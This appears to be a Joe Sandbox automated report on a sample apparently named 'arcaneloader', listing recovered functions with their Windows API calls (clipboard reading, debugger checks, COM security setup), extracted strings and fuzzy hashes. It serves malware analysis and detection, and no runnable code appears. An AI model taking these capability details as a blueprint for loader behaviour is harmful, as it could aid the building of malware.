Function 0040ADDB Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d9bf68de6d1f1556af54cba56035c290fed483bd9f891f364ccf7e2853621a3
Instruction ID: ac807d34ba04e7072c8a56d5842675913102a0ce8896ab1543b1c7ce6660c741
Opcode Fuzzy Hash: 8d9bf68de6d1f1556af54cba56035c290fed483bd9f891f364ccf7e2853621a3
Instruction Fuzzy Hash: 8F2137B0D417008FD710CF69C88636BBFF2AF92300F049A1DD5826B389DB34940A8B96

Function 004402C4 Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 004402C4
GetForegroundWindow.USER32 ref: 004402E0

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 03df0c434e0f2edc8fcbd5723e694d4ab9fdc4b451e61c78315aea14334cf539
Instruction ID: 308ce0982416377843033589ef9fddac6d1aed95c9c06d5d0cff9a40955c546e
Opcode Fuzzy Hash: 03df0c434e0f2edc8fcbd5723e694d4ab9fdc4b451e61c78315aea14334cf539
Instruction Fuzzy Hash: 82E086BEE9250157BB049F22BC5E41A77A79ACA27935DC03BEC0743332D9395806455A

Function 0043F3D0 Relevance: 1.6, APIs: 1, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 0043F465

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ac74671588dabdca079eb4d48b1c552120bf0ee76838a0db45a6b760b35429b4
Instruction ID: 83d7303d132f686615630e1bde303aca3a3e38477d6c532dd896a5cc0965e201
Opcode Fuzzy Hash: ac74671588dabdca079eb4d48b1c552120bf0ee76838a0db45a6b760b35429b4
Instruction Fuzzy Hash: AE11CC247893008BD3045FB9FCD672FB796DBE9208F0CC53CE58053741E0B9980842A2

Function 0043C9D0 Relevance: 1.5, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 0043CA33

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 64caad144b1c4e501634561f81b53baee2ca27bfe72f0b0cae11cb6cb70dbc3e
Instruction ID: 2c0cad0134e4334fa5ea67d5b3d2f54fed67c46c54ec9c3b576891f804759357
Opcode Fuzzy Hash: 64caad144b1c4e501634561f81b53baee2ca27bfe72f0b0cae11cb6cb70dbc3e
Instruction Fuzzy Hash: A6F04C326043609BD3009A79EC9462BBB959FD8309F16047CD6C45B752C2616C85C7D1

Function 0043CA40 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 0043CA97

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 91d660524c1988290485c26822d51e856f117acc356d9f7178c7e388ca9a924a
Instruction ID: 1bbe7ab3876c1027b851958274a4320012bfd76b9c07cde43f457aafcd9c7663
Opcode Fuzzy Hash: 91d660524c1988290485c26822d51e856f117acc356d9f7178c7e388ca9a924a
Instruction Fuzzy Hash: 41F0E23050D3518BD708EB24EC6562B7BA5EF8A304F00447CE4C15BAA1D7359C66CB9A

Function 00433D78 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00433DC2

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 10b254e305cadbe1ee718478ddd43fd77cf34410c1f74749065b85f307694c66
Instruction ID: 02a9e40ba7be08156986cab49d8282f2ba67918da0d7444cf4fc89946d6b71a1
Opcode Fuzzy Hash: 10b254e305cadbe1ee718478ddd43fd77cf34410c1f74749065b85f307694c66
Instruction Fuzzy Hash: DD0119B56087028FD310CF64C59878BBBF1BB85308F148A2CD4A44B385C3B5A9098BC2

Function 00433303 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00433351

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: d1315ec646141fbbe38fd6d96f1a5a54a8e1c329d4d810a9ca37667e376e366a
Instruction ID: 4fc6e489faa499a16ccd8498f584143537a9804042b1cee9d14eba7c0c67b8df
Opcode Fuzzy Hash: d1315ec646141fbbe38fd6d96f1a5a54a8e1c329d4d810a9ca37667e376e366a
Instruction Fuzzy Hash: 1DF0F4B56097028FE341DF24C55870BBBE2AFC4314F15C92CD0A44B250C7B5AA498FC2

Function 0040D420 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040D433

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 1a6fc54e296de0e76084524e37aeb2d22158072ee3ef2458d4d6966a4addd3f8
Instruction ID: bc2d5c8ccf80ca35f76dc3ca6851e8142d581e8c624321266dc9dd25c4f3caf0
Opcode Fuzzy Hash: 1a6fc54e296de0e76084524e37aeb2d22158072ee3ef2458d4d6966a4addd3f8
Instruction Fuzzy Hash: E6D02E21A201406BC248AF28EC1AF2B36A88B43720F00423EF192862D2E8402801C169

Function 0040D455 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040D467

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: f7b07c0e3be99b0715acbace52ef5f9bc639f542bc87ecc570773fe60fafbe11
Instruction ID: f3bf5f837fd68a82e90e8a77911c1afe5dbb849adfd9fedab2ea578a000d2b4d
Opcode Fuzzy Hash: f7b07c0e3be99b0715acbace52ef5f9bc639f542bc87ecc570773fe60fafbe11
Instruction Fuzzy Hash: 29D0C9343D434177F5749B58AC17F1432116702F19F70022DB362FE2E1C9E17111860C

Function 00438D33 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00438D33

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: 4f4a191404c1a0a90f98239bbdab5a7c7de1bc49763215159fc222961b702178
Instruction ID: 1597f93415ba76b45e2379b7cd35b38206cc43c2387d41908b411d3ebd4f8930
Opcode Fuzzy Hash: 4f4a191404c1a0a90f98239bbdab5a7c7de1bc49763215159fc222961b702178
Instruction Fuzzy Hash: 48D05B797545148FCB0CCF24D8709B9337367DC30471942DCD406977E8CA3668418E40

Non-executed Functions

Function 004353C0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 108clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004353D0
GetWindowLongW.USER32 ref: 004353F5
GetClipboardData.USER32 ref: 00435405
GlobalLock.KERNEL32 ref: 00435424
GlobalUnlock.KERNEL32 ref: 0043551C
CloseClipboard.USER32 ref: 00435525

Strings

<, xrefs: 004354A9
A, xrefs: 004354A4

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: <$A
API String ID: 2832541153-570643782
Opcode ID: b6f2db5deef401d058ea4ca1606ea0b9c6549fa0149badb2afbcf4ad633a2131
Instruction ID: 66586401b89f7177643c5cc3b3fa588df4bdf571baeae46f27f253fe84e68a5c
Opcode Fuzzy Hash: b6f2db5deef401d058ea4ca1606ea0b9c6549fa0149badb2afbcf4ad633a2131
Instruction Fuzzy Hash: 9441847150CB918ED310EF7C944831EBFE06B96318F045E2EE4D586392D678C589C7A7

Function 00409E30 Relevance: 11.6, Strings: 9, Instructions: 383COMMON

Download Yara Rule

Strings

[l, xrefs: 0040A148
&(.&, xrefs: 0040A08C
#e, xrefs: 0040A130
4Zp, xrefs: 0040A0A1
)4Zp, xrefs: 0040A0D9
W@MB, xrefs: 00409FD4
D1DAEAD3B896F67BD8DCFC0BCFF02CE4, xrefs: 00409EF7
_V, xrefs: 0040A140
Xf, xrefs: 0040A138

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: 4Zp$#e$&(.&$)4Zp$D1DAEAD3B896F67BD8DCFC0BCFF02CE4$W@MB$Xf$[l$_V
API String ID: 0-4067205873
Opcode ID: a418ef97778dc270beb5e185ee183adaaab223b683cd498e3f4a90c9c2edd22c
Instruction ID: dba41d186d2f407764325aac85cbee23a09c659dc4c446e550b11e42dc22a80c
Opcode Fuzzy Hash: a418ef97778dc270beb5e185ee183adaaab223b683cd498e3f4a90c9c2edd22c
Instruction Fuzzy Hash: 4BC1D1B150C3808BD714DF24D85476FBBE1EBD1318F18896DE0D59B2A2DB79880ACB97

Function 0042DDD6 Relevance: 10.6, Strings: 8, Instructions: 618COMMON

Download Yara Rule

Strings

LK]T, xrefs: 0042E3B3
Dsmm, xrefs: 0042E3F9
CTAR, xrefs: 0042E3A5
BF]A, xrefs: 0042E3AC
;4<, xrefs: 0042E358
+ !2, xrefs: 0042E36D
&"+,, xrefs: 0042E374
WZXt, xrefs: 0042E3BA

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: &"+,$+ !2$;4<$BF]A$CTAR$Dsmm$LK]T$WZXt
API String ID: 0-3527187124
Opcode ID: 7c40596922575adb2117f6a1073f23af2d257e24bd6b121a766358452f245d46
Instruction ID: 18eb1f2800720856e24a9b7a6ea0ca0b864844965be1c9965287baf453c83f12
Opcode Fuzzy Hash: 7c40596922575adb2117f6a1073f23af2d257e24bd6b121a766358452f245d46
Instruction Fuzzy Hash: E022BCB4900B418FD325AF39D152762BFB0BF52300F148A9ED4EA4F796D734A44ACB96

Function 00DCC7DB Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00DCC8CB

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: f049189f908545e71f67416e0a9471b7230c3c2dd42f5c47a6009409f9a7b753
Instruction ID: 5ddf2208ecfc2a4fc0931824b656a7ddc5fcfba4bd5162f343638d3f38c0bac7
Opcode Fuzzy Hash: f049189f908545e71f67416e0a9471b7230c3c2dd42f5c47a6009409f9a7b753
Instruction Fuzzy Hash: 9871CE7191111A9EDF20EF688C89FAAB7B9EF05300F1851DEE10DA3251DB308E859F30

Function 00DC5444 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00DC5450
IsDebuggerPresent.KERNEL32 ref: 00DC551C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00DC553C
UnhandledExceptionFilter.KERNEL32(?), ref: 00DC5546

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 37ca52e7f5dba9f1535517595aa9e9d48c57f2a7f24790d7c59d5cda4b958393
Instruction ID: abd9c17fe3df3afeb6e1b5575741886617d8e56be2d5e318dc87060fd01a6336
Opcode Fuzzy Hash: 37ca52e7f5dba9f1535517595aa9e9d48c57f2a7f24790d7c59d5cda4b958393
Instruction Fuzzy Hash: CB311875D053199BDF10EFA4D989BCDBBB8BF08304F1040AAE40DAB251EB719A85CF25

Function 0042C430 Relevance: 5.6, Strings: 4, Instructions: 593COMMON

Download Yara Rule

Strings

202*, xrefs: 0042C7A0, 0042C7CC, 0042C7D5, 0042C7FC
Mg, xrefs: 0042C780
sv, xrefs: 0042CA17
>,?&, xrefs: 0042C778

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: 202*$>,?&$Mg$sv
API String ID: 0-1101154962
Opcode ID: c84503fa2a97d4211ab73f1962e00eb962ff49d4d6ad595b8568eb3b31fb82a7
Instruction ID: 1f44fdec08a6881f24adacd1673dcff61ec64bed8c783c4f794dd1ffef6f03de
Opcode Fuzzy Hash: c84503fa2a97d4211ab73f1962e00eb962ff49d4d6ad595b8568eb3b31fb82a7
Instruction Fuzzy Hash: 45221279608391DFD300DF28E88176FBBE1AB86304F448A2DF4D187292D779D905CB9A

Function 00429BAB Relevance: 5.5, Strings: 4, Instructions: 495COMMON

Download Yara Rule

Strings

)<u+, xrefs: 00429F88
yIFC, xrefs: 00429FB0
72?1, xrefs: 00429F90
om, xrefs: 0042A2AD

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: om$)<u+$72?1$yIFC
API String ID: 0-3154914813
Opcode ID: 2243309d31287b0474ba46d843cfae1acb6dba4d2a6a9c58f00758f3f8e42bef
Instruction ID: 617c2b7e5c17353192a0bc8726c580bc25781a609e86d05a9b4c6cde2c18c5b0
Opcode Fuzzy Hash: 2243309d31287b0474ba46d843cfae1acb6dba4d2a6a9c58f00758f3f8e42bef
Instruction Fuzzy Hash: 40F147B5A082518FC7148F29E8513ABB7E1EF96304F58886EE4C5C7382D739DD06CB5A

Function 0042FF10 Relevance: 5.3, Strings: 4, Instructions: 313COMMON

Download Yara Rule

Strings

JI(3, xrefs: 004301DB
eI(3, xrefs: 0042FFFF
eI(3, xrefs: 004301A6
JI(3, xrefs: 0043003B

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: JI(3$JI(3$eI(3$eI(3
API String ID: 0-20053117
Opcode ID: fe4ac2854252fc63479e4feacf4aa02c5fe11cf8412e98fd21b24df48d9fae3b
Instruction ID: 5ef920c8510907c58d16ef3de3d8c7992fbdf0dab4aecd8fa7a45522e1e58d86
Opcode Fuzzy Hash: fe4ac2854252fc63479e4feacf4aa02c5fe11cf8412e98fd21b24df48d9fae3b
Instruction Fuzzy Hash: 38A144705043429FE3219F21DCA1B23FFE0BF22304F18469AE5E65F292D775A954CBA5

Function 0042EB58 Relevance: 5.2, Strings: 4, Instructions: 206COMMON

Download Yara Rule

Strings

&g!, xrefs: 0042ECB7
6g!, xrefs: 0042ECF4
rG, xrefs: 0042ED62
`PR#, xrefs: 0042EC01

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: &g!$6g!$`PR#$rG
API String ID: 0-3765917282
Opcode ID: 22032e3b5bcabcdedc9be5f084935282893293bb9cc689902a4d3afa96608fbe
Instruction ID: 1b719c08ab97fd2764c630d87bb361d9d54bc5e2734ef4b92814caf3c5f01e2d
Opcode Fuzzy Hash: 22032e3b5bcabcdedc9be5f084935282893293bb9cc689902a4d3afa96608fbe
Instruction Fuzzy Hash: 3161F6306043918FEB15CF26D490722BBA1BF57304F68949EC4D69F387C73AA806CB59

Function 0042EBBA Relevance: 5.2, Strings: 4, Instructions: 198COMMON

Download Yara Rule

Strings

&g!, xrefs: 0042ECB7
6g!, xrefs: 0042ECF4
rG, xrefs: 0042ED62
`PR#, xrefs: 0042EC01

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: &g!$6g!$`PR#$rG
API String ID: 0-3765917282
Opcode ID: 4cf94a01191153e05f4442b6c0212c69186d7bdf5ac6061df1e4a31dcd082573
Instruction ID: 9b644694662cd0aa4ab25ee9c4de344a7d715d730d3ac297e90769a357449003
Opcode Fuzzy Hash: 4cf94a01191153e05f4442b6c0212c69186d7bdf5ac6061df1e4a31dcd082573
Instruction Fuzzy Hash: B251D5701043918BEB158F26D4A0767BFA1AF67304F6899DEC4D69F383C7399406CB59

Function 00423F20 Relevance: 4.2, Strings: 3, Instructions: 431COMMON

Download Yara Rule

Strings

SQ, xrefs: 0042427B
W'U, xrefs: 00424283
_], xrefs: 00424273

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: SQ$W'U$_]
API String ID: 0-849804156
Opcode ID: f4ec698a7e345e7532c76d4d582d898fb839d2737ec42478c43137b54e9a7543
Instruction ID: fd05b93eb69031e669ae0e591bc19e69ad834cc6abf28e188323ffe9fb5ec0c2
Opcode Fuzzy Hash: f4ec698a7e345e7532c76d4d582d898fb839d2737ec42478c43137b54e9a7543
Instruction Fuzzy Hash: 0AC1DCB02083208BD7248F25E85276BBBF1FFD2350F44995DE8C68B395E7798845CB96

Function 0041B382 Relevance: 4.1, Strings: 3, Instructions: 387COMMON

Download Yara Rule

Strings

XTx, xrefs: 0041B400
$%, xrefs: 0041B5CC
D, xrefs: 0041B87A

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: $%$D$XTx
API String ID: 0-3905854841
Opcode ID: 15ffa12816e5828092571477e691cd7ee9d9923c6effce8eb919656e4bb57195
Instruction ID: 2befe528d04668eedb53c9ca623104676fd890bb3f7ae5765e3534a188378d2b
Opcode Fuzzy Hash: 15ffa12816e5828092571477e691cd7ee9d9923c6effce8eb919656e4bb57195
Instruction Fuzzy Hash: FEE1BE745083408FD324CF25C4957ABBBE2FF86304F09896DD4C98B3A2D7799849CB9A

Function 00420299 Relevance: 4.0, Strings: 3, Instructions: 229COMMON

Download Yara Rule

Strings

|~, xrefs: 00420330
Uk?i, xrefs: 0042045A
srq, xrefs: 00420427

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: srq$Uk?i$|~
API String ID: 0-1837641553
Opcode ID: 2ed68dc121263fdb5fa0f9525e9743e167c47270648679861920583f694fae6e
Instruction ID: bd2f1438d52afae5cd2245e1342d46e8ad20933637d6e81049d24c2d8c1fa45e
Opcode Fuzzy Hash: 2ed68dc121263fdb5fa0f9525e9743e167c47270648679861920583f694fae6e
Instruction Fuzzy Hash: B651F2B15083608BC7149F25D85176FBBF1EFA2348F44896DF4C59B392E7398905CB8A

Function 004202AC Relevance: 4.0, Strings: 3, Instructions: 225COMMON

Download Yara Rule

Strings

|~, xrefs: 00420330
Uk?i, xrefs: 0042045A
srq, xrefs: 00420427

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: srq$Uk?i$|~
API String ID: 0-1837641553
Opcode ID: 535d4b45ffb01d931e9f1cc43449dd91ecc11ee6d1b4f375ae58559243d0c9d9
Instruction ID: fdd3cf7629a811ff856deb2c5da93450f6707c241c83aaf7325525125a4910cc
Opcode Fuzzy Hash: 535d4b45ffb01d931e9f1cc43449dd91ecc11ee6d1b4f375ae58559243d0c9d9
Instruction Fuzzy Hash: 7551F1B11083608BC7149F25D85176FBBF1EFA2348F44896DF4C59B392E7398905CB4A

Function 004096E0 Relevance: 2.8, Strings: 2, Instructions: 298COMMON

Download Yara Rule

Strings

Wh, xrefs: 00409894
~`dn, xrefs: 0040997E

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: Wh$~`dn
API String ID: 0-3277124295
Opcode ID: a8a8225b8465e7cea930cf15acd7dc70b485933f37703283c129bdf8665bf29d
Instruction ID: 2e8fad761c0aee23d2820b68775ae2f3bc824bb0a0a8e2948fedcc88faddfe0b
Opcode Fuzzy Hash: a8a8225b8465e7cea930cf15acd7dc70b485933f37703283c129bdf8665bf29d
Instruction Fuzzy Hash: 1C81167154C3C58AD311DF3984A076BBFE0AFA3310F18466EE4D59B382D779890ACB56

Function 0041B888 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

D, xrefs: 0041BC5A
$%, xrefs: 0041B9A8

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: $%$D
API String ID: 0-2966095697
Opcode ID: 63122143b8a9f4cc7a4a947136a7af4c72314502fdc751502333f995e167224a
Instruction ID: 76fe7a3505769e0a91039247c3554c52678388f14179a58fcc60dc052d80e293
Opcode Fuzzy Hash: 63122143b8a9f4cc7a4a947136a7af4c72314502fdc751502333f995e167224a
Instruction Fuzzy Hash: 8BA1A8B05093818EE320CF25C4A4BABBBF1FF85354F198A4DD0C94B791E3789949CB96

Function 0040E3C6 Relevance: 2.6, Strings: 2, Instructions: 110COMMON

Download Yara Rule

Strings

i/r-, xrefs: 0040E491
x+k), xrefs: 0040E4C0

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: i/r-$x+k)
API String ID: 0-2620589815
Opcode ID: ddff4eb83a54984717961e6bf9aa2207d415b8565c50e61408de954fd63d569c
Instruction ID: 36b651ae11d8d58280e64f808699d44762b09575c6fd242dc66526acb983101c
Opcode Fuzzy Hash: ddff4eb83a54984717961e6bf9aa2207d415b8565c50e61408de954fd63d569c
Instruction Fuzzy Hash: 7931D4705093804BD3718B2698957EBB7D5DFDA32CF184C7DD4C9A7282EA3844A6874F

Function 00426810 Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

{'R!, xrefs: 004268BF
HK, xrefs: 00426856

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: HK${'R!
API String ID: 0-4270772091
Opcode ID: de94ba3b5c3057aaa0393ec081eb059faf882131a856a39b260aaecdc7a7f71b
Instruction ID: ff3d8cc0a609b1368ff12c2f9e5c71ec207a3d3791af5e96dcfcc6129b14ac26
Opcode Fuzzy Hash: de94ba3b5c3057aaa0393ec081eb059faf882131a856a39b260aaecdc7a7f71b
Instruction Fuzzy Hash: CB310B3291D3615FD724CF25D89170FBAE2ABC1B04F16C96CE8D42B391C6B98906CBC2

Function 0043E18E Relevance: 2.6, Strings: 2, Instructions: 69COMMON

Download Yara Rule

Strings

#]$[, xrefs: 0043E206
U, xrefs: 0043E1F6

Memory Dump Source

Source File: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_arcaneloader.jbxd

Yara matches

Similarity

API ID:
String ID: U$#]$[
API String ID: 0-2326545497
Opcode ID: 47c39c25deaedd0915107c9f56995ec9905ea3ba72d8450135da54ba33817bc6
Instruction ID: c16ef4ca68c7137ae3de3f3c7233cc7cf9dd5c4b463180f0768aad7595a66f32
Opcode Fuzzy Hash: 47c39c25deaedd0915107c9f56995ec9905ea3ba72d8450135da54ba33817bc6
Instruction Fuzzy Hash: 9421C775C183409FE7009F20FC4165A7BA1FB91305F48887DF444EB2B6E779C9468B4A

Function 0043D2C0 Relevance: 1.9, Strings: 1, Instructions: 616COMMON

Download Yara Rule

Strings

f, xrefs: 0043D571

